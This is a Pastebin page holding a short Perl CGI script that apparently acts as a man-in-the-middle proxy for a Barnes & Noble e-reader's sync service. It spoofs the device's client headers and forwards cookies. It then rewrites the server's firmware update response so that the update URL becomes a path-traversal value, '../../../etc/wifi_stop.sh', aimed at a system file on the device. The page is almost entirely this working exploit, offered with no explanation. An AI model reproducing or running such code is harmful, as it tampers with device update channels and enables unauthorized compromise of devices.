Advertisement
Guest User

cdump

a guest
Oct 15th, 2010
1,717
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.95 KB | None | 0 0
  1. #!/usr/local/bin/perl
  2. print "Content-type: text/xml\n\n";
  3. use LWP::UserAgent;
  4. my $ua=LWP::UserAgent->new();
  5. $ua->agent("BN ClientAPI Java/1.0.0.0 (bravo;bravo;1.4.0;P001000016)");
  6.  
  7. $ua->default_headers->push_header( "Referer" => "bnereader.barnesandnoble.com" );
  8.  
  9. $ua->default_headers->push_header( "Cookie" => $ENV{'HTTP_COOKIE'} );
  10. $ua->default_headers->push_header( "Cookie2" => "\$Version=1" );
  11. $ua->default_headers->push_header( "Host" => "sync.barnesandnoble.com" );
  12.  
  13. while($l = <STDIN>) {
  14.     $data.=$l;
  15. }
  16.  
  17. $d=$ua->post("http://65.204.48.97/sync/001/Default.aspx?sid=P001000016", Content_Type => 'application/vnd.syncml+xml', Content => $data);
  18.  
  19. $cnt = $d->content;
  20.  
  21. $w='MajorVersion="1" MinorVersion="4" URL="signed_bravo_update-delta-1.4.0-release.dat" FileSize="27836556" LastUpdated="1277118600"';
  22. $t='MajorVersion="1" MinorVersion="5" URL="../../../etc/wifi_stop.sh" FileSize="137" LastUpdated="1287096589"';
  23.  
  24. $cnt=~s/$w/$t/;
  25.  
  26. print $cnt;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement